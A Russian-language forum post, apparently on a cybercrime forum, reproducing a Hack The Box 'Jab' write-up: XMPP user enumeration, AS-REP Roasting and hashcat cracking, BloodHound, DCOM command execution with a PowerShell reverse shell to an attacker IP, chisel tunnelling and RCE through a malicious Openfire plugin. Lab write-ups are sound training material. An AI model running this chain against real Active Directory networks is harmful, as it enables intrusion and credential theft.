• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Применяем AS-REP Roasting при атаке на Windows

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,179
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе нам предстоит получить 2,5 тысячи пользователей сервера XMPP и валидировать их в Active Directory. Затем мы найдем учетные данные и получим сессию на сервере, используя механизм DCOM. Повысить привилегии нам поможет вредоносный плагин для сервера Openfire.
Наша цель — получение прав суперпользователя на машине Jab с учебной площадки Hack The Box. Уровень сложности — средний.

warning​

Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.4 jab.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Результат работы скрипта
Результат работы скрипта

Сканер нашел много открытых портов:

  • 53 — DNS;
  • 88 — Kerberos;
  • 135 — Microsoft RPC;
  • 139 — NetBIOS, NetLogon;
  • 445 — SMB;
  • 464 — служба смены пароля Kerberos;
  • 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
  • 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
  • 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
  • 5222, 5223, 5262, 5263, 5269 — серверы Jabber;
  • 5270, 7443 — XMPP;
  • 9389 — AD DS.
Разведка на SMB ничего не дала, поэтому попробуем найти что‑нибудь на сервере Jabber.


Точка входа​

Для подключения к серверу Jabber потребуется какой‑нибудь клиент, например Для просмотра ссылки Войди или Зарегистрируйся.

Устанавливаем:

sudo apt install pidgin
Приветствие Pidgin
Приветствие Pidgin

Так как у нас нет никаких учетных данных, создадим свою учетную запись.

Создание учетной записи
Создание учетной записи

Создание учетной записи (продолжение)
Создание учетной записи (продолжение)

После чего с созданной учетной записью регистрируемся на сервере.

Регистрация клиента
Регистрация клиента

При присоединении к чату находим еще одно доменное имя.

Присоединение к чату
Присоединение к чату

Добавим его в файл /etc/hosts.

10.10.11.4 jab.htb conference.jab.htb
Также можно получить список доступных комнат.

Список комнат
Список комнат

Когда все готово, можно поискать пользователей. Для этого нужно перейти в меню «Учетные записи → Пользователь → Искать пользователей → search.jab.htb». В поле Search указываем звездочку, чтобы искать любые имена.

Поиск пользователей
Поиск пользователей

Список найденных пользователей
Список найденных пользователей

Список оказался намного больше, чем я ожидал, поэтому нужно найти способ сохранить свыше 2,5 тысячи пользователей в файл.


Точка опоры​

Закрываем Pidgin и запускаем его снова, но на этот раз в режиме отладки, с сохранением логов в файл:

pidgin -d > log.txt
Повторяем все действия для получения списка пользователей и проверяем файл.

Содержимое файла log.txt
Содержимое файла log.txt

Теперь из файла log.txt нужно вытащить имена пользователей и сохранить в другой файл.

grep -oP '<value>\K[^<][EMAIL]+@jab.htb[/EMAIL](?=</value>)' log.txt | cut -d '@' -f 1 | sort | uniq > users.txt

Когда все готово, можно перебрать этих полученных пользователей через Для просмотра ссылки Войди или Зарегистрируйся. Так мы убеждаемся в том, что пользователи реально существуют в домене.

kerbrute_linux_amd64 userenum -d jab.htb --dc 10.10.11.4 -t 128 ./users.txt
Результат перебора
Результат перебора

Почти все пользователи из списка присутствуют в домене. Так как у нас нет никаких учетных данных, попробуем провести атаку AS-REP Roasting. Ее смысл в том, что мы посылаем на сервер аутентификации анонимный запрос для предоставления определенному пользователю доступа к какой‑либо услуге. На что сервер выдает один из трех ответов:

  • предоставляет билет, из которого мы возьмем хеш;
  • отвечает, что у данного пользователя не выставлен флаг UF_DONT_REQUIRE_PREAUTH;
  • говорит, что такого пользователя нет в базе Kerberos.
Выполнить можно при помощи скрипта impacket-GetNPUsers.

GetNPUsers.py jab.htb/ -usersfile users.txt
Результат проведения атаки
Результат проведения атаки

Таким образом, в домене есть пользователь, для которого не требуется предварительная аутентификация Kerberos. Из справки узнаём, что для подбора пароля в hashcat требуется режим 18200 (параметр -m).

hashcat --example | grep krb5asrep -B 11
Справка hashcat
Справка hashcat

hashcat -m 18200 hashes.txt rockyou.txt
Результат перебора пароля
Результат перебора пароля

Получив пароль, проверяем его валидность.

nxc smb 10.10.11.4 -u jmontgomery -p 'Midnight_121' --smb-timeout 5
Для просмотра ссылки Войди или Зарегистрируйся

Продвижение​

Больше ничего интересного не находим, поэтому поищем мисконфиги, то есть уязвимые конфигурации. В этом может помочь Для просмотра ссылки Войди или Зарегистрируйся. Эта тулза сканирует LDAP и использует графы для выявления скрытых и часто непреднамеренных взаимосвязей в среде Active Directory или Azure. Это помогает легко идентифицировать очень сложные пути атаки, которые в противном случае было бы невозможно быстро обнаружить. Для работы с данными нам дополнительно нужно установить СУБД Neo4j. Или можно просто запустить ее в Docker.

docker run -p7474:7474 -p7687:7687 -e NEO4J_AUTH=neo4j/[I]S3cr3T[/I] neo4j
Для сканирования из Linux будем использовать расширение для Для просмотра ссылки Войди или Зарегистрируйся. Но для этого необходимо, чтобы FQDN-имя контроллера домена было записано в файле /etc/hosts.

10.10.11.4 jab.htb conference.jab.htb DC01.jab.htb
А теперь используем NetExec с параметром --bloodhound.

nxc ldap 10.10.11.4 -u jmontgomery -p 'Midnight_121' -ns 10.10.11.4 --bloodhound
Сбор данных BloodHound
Сбор данных BloodHound

Но и тут ничего интересного. Однако есть сервис, куда мы еще не ходили от имени скомпрометированного пользователя, — это сервер XMPP.

Окно авторизации XMPP
Окно авторизации XMPP

Проверяем доступные комнаты и находим новую — pentest2003.

Список комнат
Список комнат

Заходим в комнату и просматриваем историю чата. Там находим сообщение с результатами перебора хеша с помощью hashcat.

Сообщения в чате
Сообщения в чате

Забираем логин и пароль и проверяем учетные данные в домене.

nxc smb 10.10.11.4 -u svc_openfire -p '!@#$%^&*(1qazxsw' --smb-timeout 3
Проверка учетных данных
Проверка учетных данных

Так у нас появился новый пользователь, помечаем его как Owned и перестраиваем граф. Оказывается, пользователь состоит в группе DISTRIBUTED COM USERS.

Граф BloodHound
Граф BloodHound

Таким образом, наш юзер может использовать механизм DCOM. Посмотрим, как обстоит дело с выполнением команд. Так как у нас нет возможности читать файлы с ресурса SMB, результат выполнения команды мы получить не сможем. Для теста запустим веб‑сервер Python на локальной машине и через скрипт dcomexec из набора Impacket выполним запрос с удаленного хоста при помощи curl.

dcomexec.py -object MMC20 'jab.htb/svc_openfire:!@#$%^&*(1qazxsw'@10.10.11.4 'curl 10.10.16.143/test_rce' -silentcommand
Выполнение команды через DCOM
Выполнение команды через DCOM
Логи веб-сервера
Логи веб‑сервера

Запрос пришел, а значит, команда выполнена. На сайте Для просмотра ссылки Войди или Зарегистрируйся сгенерируем реверс‑шелл PowerShell #3 (Base64).

Reverse Shell Generator
Reverse Shell Generator

Затем на локальной машине запустим листенер:

rlwrap nc -nlvp 4321
И выполним реверс‑шелл через dcomexec.

dcomexec.py -object MMC20 'jab.htb/svc_openfire:!@#$%^&*(1qazxsw'@10.10.11.4 'powershell -r JAB.....' -silentcommand
Флаг пользователя
Флаг пользователя

Локальное повышение привилегий​

Теперь нам необходимо собрать информацию. Я буду использовать для этого скрипты PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
В выводе скрипта много всего, поэтому пройдемся по наиболее многообещающим пунктам.

В списке установленного программного обеспечения присутствует сервер Openfire.

Список установленного ПО
Список установленного ПО

Среди прослушиваемых портов отметим 9000 и 9001, что типично для Openfire.

Прослушиваемые порты
Прослушиваемые порты

Так как порт доступен только с локального хоста, необходимо туннелировать трафик. Для этого будем использовать утилиту Для просмотра ссылки Войди или Зарегистрируйся. На локальном хосте запустим сервер, ожидающий подключения (параметр --reverse) на порт 8888 (параметр --port):

./chisel.bin server --port 8888 --reverse
Теперь на удаленном хосте запустим клиентскую часть. Указываем адрес сервера и порт для подключения, а также настройку туннелирования: с локального порта 9090 на порт 9090 хоста 127.0.0.1.

chisel.exe client 10.10.16.143:8888 R:9090:127.0.0.1:9090
В логах сервера должны увидеть сообщение о создании сессии.

Логи chisel server
Логи chisel server

Когда туннель готов, можно просмотреть сайт через порт 9090 своего локального хоста.

Форма авторизации Openfire
Форма авторизации Openfire

Для этого сервиса есть недавние CVE и даже опубликованный на GitHub Для просмотра ссылки Войди или Зарегистрируйся для обхода аутентификации и дальнейшего получения RCE через загрузку плагина.

Поиск эксплоитов в Google
Поиск эксплоитов в Google

Обход аутентификации не работает, однако получилось авторизоваться под учетной записью svc_openfire.

Главная страница Openfire
Главная страница Openfire

Попробуем получить RCE через загрузку плагина из того же репозитория. Для этого переходим на страницу Plugins и загружаем плагин.

Страница Plugins
Страница Plugins
После загрузки плагина увидим описание, что пароль — 123.

Страница Plugins
Страница Plugins

Теперь через меню Server переходим к Server Settings → Management Tool.

Страница Management Tool
Страница Management Tool

Нас встречает форма ввода пароля. Вводим 123 и получаем доступ к панели выполнения команд.

Результат выполнения команды whoami
Результат выполнения команды whoami

Так как мы работаем с максимальными привилегиями на хосте, можно прочитать флаг.

Флаг рута
Флаг рута
Машина захвачена!
 
Activity
So far there's no one here
Сверху Снизу